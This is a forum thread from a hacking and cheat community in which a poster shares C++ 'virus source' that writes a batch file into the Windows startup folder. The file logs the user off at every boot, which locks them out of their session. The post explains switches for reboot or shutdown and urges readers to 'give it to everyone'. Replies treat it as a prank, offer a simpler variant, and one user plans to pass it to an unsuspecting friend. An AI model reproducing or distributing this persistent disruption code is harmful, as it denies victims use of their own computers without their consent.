Skip to content
MPGHThe Dark Arts
/
RegisterLog in
Forum
Community
What's NewLatest posts across the boardTrendingHottest threads right nowSubscribedThreads you follow
Discussion
GeneralIntroductionsEntertainmentDebate FortFlaming & Rage
Board
News & AnnouncementsMPGH TimesSuggestions & HelpGiveaways
More Sections
Art & Graphic DesignProgrammingHackingCryptocurrency
Hacks & Cheats
Games
ValorantCS2 / CS:GOCall of Duty / WarzoneFortniteApex LegendsEscape From Tarkov
+14 moreLeague of LegendsGTA VMinecraftRustROTMGBattlefieldTroveBattleOnCombat ArmsCrossFireBlackshotRuneScapeDayZDead by Daylight
Resources
Game Hacking TutorialsReverse EngineeringGeneral Game HackingAnti-CheatConsole Game Hacking
Tools
Game Hacking ToolsTrainers & CheatsHack/Release NewsNew
Submit a release →Share your cheat, tool, or config with the community.
AINEW
AI Tools
General & DiscussionPrompt EngineeringLLM JailbreaksHotAI Agents & AutomationLocal / Open Models
AI × Gaming
AI Aimbots & VisionML Anti-CheatGame Bots & Automation
Create
AI Coding / Vibe CodingAI Art & MediaAI Voice & TTS
The AI frontier →Where game hacking meets modern machine learning. Jump in.
Marketplace
Buy & Sell
SellingBuyingTradingUser Services
Trust & Safety
Middleman LoungeMarketplace TalkVouch Copy Profiles
Money
Cryptocurrency TalkCurrency ExchangeWork & Job Offers
Start selling →List accounts, services, and goods. Use the middleman to trade safe.
MPGH The Dark Arts

A community for offensive security research, reverse engineering, and AI.

Community

ForumMarketplaceSearch

Account

RegisterLog in

Legal

Privacy PolicyForum RulesHelp & FAQ
© 2026 MPGH · All rights reserved.Built by the community, for the community. For educational purposes onlyContent is shared for security research and education — we don't condone illegal use. You're responsible for complying with applicable laws. Use at your own risk.
Home › Forum › Programming › C++/C Programming › [Virus source] A simple windows exploit.

[Virus source] A simple windows exploit.

Posts 1–5 of 5 · Page 1 of 1
TE
tednugget
[Virus source] A simple windows exploit.
This program doesn't do much. (But then again, I don't code much.)

All it does is either log a user out of their current session, reboot, or shutdown their computer.

It's written in C++ and takes advantage of the DOS command "Shutdown.exe."

Code:
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <fstream.h>

using namespace std;

int main()
{
 
    ofstream fout("C:\\documents and settings\\all users\\start menu\\programs\\startup\\AUTOEXEC.BAT");
    fout << "@echo off\n";
    fout << "shutdown.exe -l";
    fout.close();
    system("shutdown.exe -l");
    return 0;
}
Notes: This will not work if "C:\" is not the default drive.
This is set to log people off of their current session, you may use the -l switch to log them off, the -r switch to reboot their computer, and the -s switch to shut it off. This program puts AUTOEXEC.BAT in the startup folder so that it will kill the session every time it starts up.

(I compiled and tested this in Dev-C++).


*Edit: Here is the compiled file: give it to everyone
#1 · edited 18y ago · 18y ago
tednugent
tednugent
Aww no one wants this?

It's a great way to end an MSN fight
#2 · 18y ago
radnomguywfq3
radnomguywfq3
This can be done a much easier way by using the code below.

system("shutdown -f");

using the system command can give output to the console as if it were command prompt.
#3 · 18y ago
tednugent
tednugent
I know what the system command does, if you read my code, you'd see that I used it.

What all the extra code does is place a file in the startup folder so that windows will be unable to start.
#4 · 18y ago
YA
yahagashi
Aw, thank! I really needed this for a friend who needs WR Hacks...
#5 · 18y ago
Posts 1–5 of 5 · Page 1 of 1

Post a Reply

Similar Threads

  • New Windows ExploitBy Dave84311 in General
    6Last post 16y ago
  • [Source Code] Simple Game Base with Special FXBy supercarz1991 in Combat Arms Hack Coding / Programming / Source Code
    23Last post 15y ago
  • Windows Exploit. Form and function.By tednugent in General Hacking
    0Last post 17y ago
  • Simple And Fun Virus :DBy Synns in Spammers Corner
    3Last post 18y ago

Tags for this Thread

None